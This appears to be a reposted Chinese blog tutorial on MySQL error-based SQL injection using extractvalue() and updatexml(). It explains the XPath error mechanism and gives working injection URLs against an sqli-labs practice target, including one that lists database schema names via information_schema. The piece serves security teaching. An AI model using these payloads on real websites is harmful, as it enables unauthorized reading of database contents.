MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入...

大家好,我是阿里斯,一名IT行业小白。今天分享的内容是报错注入剩余部分,主要内容会以extractvalue()和updatexml()报错误为中心展开阐述。

函数介绍

extractvalue(参数1,参数2)

参数1:xml文档字符串

参数2:xpath格式字符串

该函数主要用来查找并解析xml文档

updatexml(参数1,参数2,参数3)

参数1:xml文档字符串

参数2:xpath格式字符串

参数3:替换字符串

该函数主要用来查找替换并解析xml文档,但是不会保存到数据库

函数使用

设置xml文档

set @xml="这是bb这是cc这是dd";

查询并解析xml文档

select extractvalue(@xml,"//cc");

查询替换并解析xml文档

select updatexml(@xml,"//aa",'123');

MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入..._第1张图片

xpath格式解释

//代表xml文档的根路径,如果你学习过dom文档对象的话,这两个根路径差不多,你可以认为和dom文档对像的根路径一样,//*代表的这个文档的所有内容,xml是由层级关系的,如@xml="",如果你的xpath写成//ww,那么它就会把两个ww都找到,如果你写成//qq/ww,那么就能进行精确定位,所以你理解xpath格式时可以认为这就是一个进行xml文档内容定位的东西。

extractvalue()和updatexml()函数报错原理解释

它们两个函数的报错原理其实都一样,都是因为第二个参数不采用xpath格式的字符导致数据库报xpath格式错误,所以接下来我会以extractvalue()进行原理阐述。

当我们在数据库里进行xml查找并解析时,在extractvalue的第二个参数放一个user()时,它本身并不是一个xpath格式,所以一定会报一个xpath格式错误。

9d60653d73edb04aa745eebb8a861c5a.png

这里我们可以注意到,user()函数的结果有一部分是和报错信息一起在错误信息中显示的,这是为什么呢?

这是因为数据库在进行xpath格式校验时,发现这个参数是不合法的,所以将这个信息显示出来,以方便程序员进行调试。

那怎么才能利用这个错误点将user()或者database()函数的全部信息都跟随报错信息一起显示呢?

通过上一个问题我们可以思考,数据库在进行xpath格式校验时,如果这个参数我们直接构造一个非法的xpath格式字符串,让数据库从开始就直接校验xpath格式失败,会不会把database()本应该显示的信息都跟随错误信息一起显示出来呢?这里有一个问题,怎么才能算不合法的xpath格式呢?经过一番测试,只要在参数的开头位置添加一些特殊字符就可以构造成功!如!、#、$、%、^、&、*都可以构造非法xpath格式字符串,为了database()能够合法执行我们得使用conca() 函数,这样就可以将database()函数的执行结果与前面的特殊字符拼接到一起了,我们一起来测试。

MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入..._第2张图片

通过上面测试我们可以发现xpath格式错误确实可以导致一个错误,而且确实可以带着我们想要的信息一起在错误信息中显示。

extractvalue()和updatexml()报错注入演示

靶机 这里已经找到注入点

http://www.anantest.com:8080/sqlilabs/Less-3/?id=1') and 1=1--+

这里需要注意一个问题,就是在url中使用#、&等字符会被url编码,所以这里使用16进制的#(0x23)进行注入

http://www.anantest.com:8080/sqlilabs/Less-3/?id=1') and extractvalue(1,concat(0x23,database()))--+

MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入..._第3张图片

使用updatexml函数进行测试

http://www.anantest.com:8080/sqlilabs/Less-3/?id=1') and updatexml(1,concat(0x23,database()),1)--

1c455b7ea049c71ecd8296627646fcfc.png

再深入一步,拿一下数据表吧,避免刚开始学习这个漏洞的同学不会使用。

http://www.anantest.com:8080/sqlilabs/Less-3/?id=1') and updatexml(1,concat(0x23,(select group_concat(schema_name) from information_schema.schemata )),1)-

MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入..._第4张图片

注意:extractvalue()和updatexml()只能把32位长度的数据库信息带出来

MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入..._第5张图片

你可能感兴趣的:(MySQL注入过滤updatxml_WEB安全之SQL注入(7)——updatexml报错注入和extractvalue报错注入...)